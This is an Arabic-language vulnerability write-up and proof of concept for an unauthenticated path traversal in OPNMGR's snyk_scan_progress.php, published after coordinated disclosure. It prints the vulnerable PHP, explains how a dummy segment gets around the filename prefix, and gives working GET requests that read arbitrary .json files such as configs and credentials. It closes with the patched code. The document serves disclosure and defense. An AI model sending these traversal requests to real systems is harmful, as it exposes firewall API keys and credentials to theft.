
إثبات مفهوم وشرح لـ CVE-2026-103978، وهو اجتياز مسار غير مُصادَق عليه في snyk_scan_progress.php الخاص بـ OPNMGR يسمح بقراءة ملفات .json بشكل عشوائي.
قراءة تعسفية لملفات .json، دون الحاجة إلى تسجيل الدخول. وجدت هذا أثناء قراءة
الكود المصدري لـ agit8or1/OPNMGR، وهو مدير
أسطول OPNsense مكتوب بلغة PHP.
| CVE | CVE-2026-103978 |
| Advisory | GHSA-8x7v-vwpx-3wr7 |
| Class | CWE-22 (Path Traversal) |
| Auth | none |
| CVSS v3.1 | 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS v4.0 | 8.7 High |
| Fixed in | v3.10.0 |
| Credit | Kanarat Kaeothong (Axiom0x) |
يقع الملف snyk_scan_progress.php في جذر الويب ويأخذ scan_id مباشرةً من
سلسلة الاستعلام، ويلصقه في مسار ملف، ثم يمرر النتيجة إلى
file_get_contents(). لا يوجد تضمين للمصادقة، ولا فحص للجلسة، ولا تنقية
للمعامل.
<?php
header('Content-Type: application/json');
$scan_id = $_GET['scan_id'] ?? ''; // unauthenticated, raw
if (empty($scan_id)) { echo json_encode(['error' => 'No scan ID provided']); exit; }
$progress_file = "/tmp/snyk_scan_{$scan_id}.json"; // string concat, nothing else
if (!file_exists($progress_file)) { echo json_encode(['error' => 'Scan not found']); exit; }
$progress_data = file_get_contents($progress_file);
echo $progress_data; // sent back to the caller
كل نقطة نهاية أخرى في التطبيق تستدعي inc/bootstrap.php وتنادي
requireLogin() قبل القيام بأي شيء. هذه النقطة تتخطى كل ذلك. لذا فإن scan_id
يتحكم به المهاجم، ويُدرج في المسار حرفيًا، ويعود محتوى الملف
في الاستجابة.
هناك التفاف واحد: البادئة snyk_scan_ ملتصقة بأي شيء ترسله، لذا فإن الحمولة
التي تبدأ بـ .. يتم التهامها (snyk_scan_.. مجرد اسم ملف غريب في /tmp).
تحتاج إلى مقطع مؤقت أولًا حتى يصبح .. فعليًا قفزة إلى الدليل الأب:
/tmp/snyk_scan_ + x/../../etc/passwd -> /tmp/snyk_scan_x/../../etc/passwd
-> /etc/passwd.json
اللاحقة .json مفروضة بواسطة الكود ولا توجد حيلة بايت فارغ في
PHP الحديثة، لذا يمكنك فقط قراءة الملفات التي تنتهي بـ .json. في نشر PHP حقيقي
هذا ليس قيدًا كبيرًا. ملفات الإعدادات، ومفاتيح حسابات الخدمة، وملف
auth.json الخاص بـ composer، وبيانات الاعتماد السحابية، ومعظم الأشياء المهمة هي بالفعل .json.
GET /snyk_scan_progress.php?scan_id=x/../../var/www/opnsense/config
-> returns /var/www/opnsense/config.json
GET /snyk_scan_progress.php?scan_id=x/../../../../etc/some_config
-> walks to filesystem root, returns /etc/some_config.json
توجد نسخة قابلة للتشغيل في poc/poc.sh.
أي ملف ينتهي بـ .json يمكن لـ www-data قراءته، يُكشف لأي شخص يمكنه
الوصول إلى الصفحة. على جهاز يدير جدران حماية OPNsense، يعني ذلك عادةً مفاتيح
API وبيانات الاعتماد.
أضف تضمين المصادقة الذي يستخدمه باقي التطبيق، وتحقق من scan_id مقابل
قائمة سماح ضيقة قبل بناء المسار:
require_once __DIR__ . '/inc/bootstrap.php';
requireLogin();
$scan_id = $_GET['scan_id'] ?? '';
if (!preg_match('/^[A-Za-z0-9_-]{1,64}$/', $scan_id)) {
http_response_code(400);
echo json_encode(['error' => 'Invalid scan id']);
exit;
}
$progress_file = '/tmp/snyk_scan_' . $scan_id . '.json';
أصدر المشرف الإصلاح في v3.10.0.
تم الإبلاغ عبر الإفصاح المنسق. النسخة المصابة لم تعد الإصدار الحالي. التوضيح موجود هنا للرجوع والتعلم.